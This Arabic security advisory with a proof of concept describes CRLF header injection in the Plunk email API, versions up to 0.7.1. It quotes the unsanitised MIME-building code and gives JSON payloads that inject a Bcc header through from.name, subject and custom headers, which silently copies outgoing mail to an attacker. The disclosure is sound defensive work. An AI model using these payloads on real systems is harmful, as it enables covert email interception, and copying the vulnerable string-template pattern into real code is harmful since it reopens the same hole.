
إثبات مفهوم وتحليل تقني لحقن ترويسات البريد الإلكتروني عبر CRLF في بناء MIME الخام الخاص بـ Plunk، مع عرض حقن Bcc ونواقل أخرى باستخدام PoC بلغة Python.
الخطورة: عالية (CVSS 8.5)
CWE: CWE-93 — التحييد غير السليم لتسلسلات CRLF ('حقن CRLF')
المتأثر: useplunk/plunk <= 0.7.1
تم إصلاحه في: 0.8.0
التنبيه الأمني: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
الفضل: Romain Deperne
تُنشئ نقطة النهاية POST /v1/send في Plunk رسالة بريد إلكتروني MIME خام عبر إدراج الحقول المقدَّمة من المستخدم (from.name، وsubject، والترويسات المخصصة، وأسماء ملفات المرفقات) مباشرةً داخل سلسلة قالب دون تعقيم CRLF (\r\n). يمكن لمستخدم API مُصادَق عليه حقن ترويسات بريد إلكتروني عشوائية — بما في ذلك Bcc — لإعادة توجيه نسخ البريد الإلكتروني بصمت إلى عناوين يتحكم بها المهاجم.
كنت أُدقّق منصات إرسال البريد الإلكتروني مفتوحة المصدر — أي شيء يغلّف AWS SES ويكشف واجهة API. تُقدَّم Plunk كبديل صديق للمطورين لـ SendGrid/Postmark، مبني على SES.
كانت نقطة دخولي هي دالة بناء البريد الإلكتروني الخام. كلما رأيت rawMessage += أو قوالب نصية تبني MIME، أتحقق مما إذا كان كل حقل مقدَّم من المستخدم مُعقَّمًا من CRLF. في SESService.ts، كانت الإجابة لا بوضوح: إذ أُدرجت from.name، وsubject، والترويسات المخصصة، وأسماء ملفات المرفقات جميعها مباشرةً.
ما أكّد أن هذا قابل للاستغلال: لم يكن مخطط Zod (packages/shared/src/schemas/index.ts) يحتوي على .regex() أو .refine() يرفض \r\n في أي من تلك الحقول. لا تعقيم على مستوى المخطط، ولا تعقيم على مستوى بناء MIME — مسار نظيف من مدخلات API إلى ترويسة MIME محقونة.
اختبرت المتجهات الأربعة جميعها (from.name، وsubject، وقيمة الترويسة المخصصة، واسم ملف المرفق) وأكّدت أن حقن Bcc: يعمل. يمكن لأي مستخدم API مُصادَق عليه يملك نطاق مرسل مُتحقَّق منه أن ينسخ بصمت كل بريد إلكتروني صادر إلى عنوان يتحكم به المهاجم. سيناريو الهجوم الواقعي هو تحوّل مفتاح API مخترَق إلى اعتراض بريد إلكتروني مستمر.
الملف: apps/api/src/services/SESService.ts، الأسطر 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
مخطط Zod (packages/shared/src/schemas/index.ts) — لا يوجد تحقق من CRLF:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
يتطلب بناء MIME الخام أن تُجرَّد كل قيمة يوفّرها المستخدم من \r\n قبل الإدراج. يبني Plunk الرسالة باستخدام قوالب نصية ولا يعقّم أيًا من الحقول الأربعة القابلة للحقن. تفسّر محللات SMTP \r\n كحدّ لترويسة، لذا فإن حقن \r\nBcc: [email protected] في from.name يضيف ترويسة Bcc حقيقية إلى الرسالة الصادرة.
راجع poc.py للحصول على عرض توضيحي كامل بأربعة نواقل حقن.
الحمولة الأساسية — حقن Bcc عبر from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
النص الخام بصيغة MIME الذي ينتجه SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
يقوم SES بتسليم نسخة صامتة إلى [email protected] مع كل بريد إلكتروني يُرسل عبر مفتاح API المخترق.
نواقل حقن أخرى:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To وReturn-Path وSender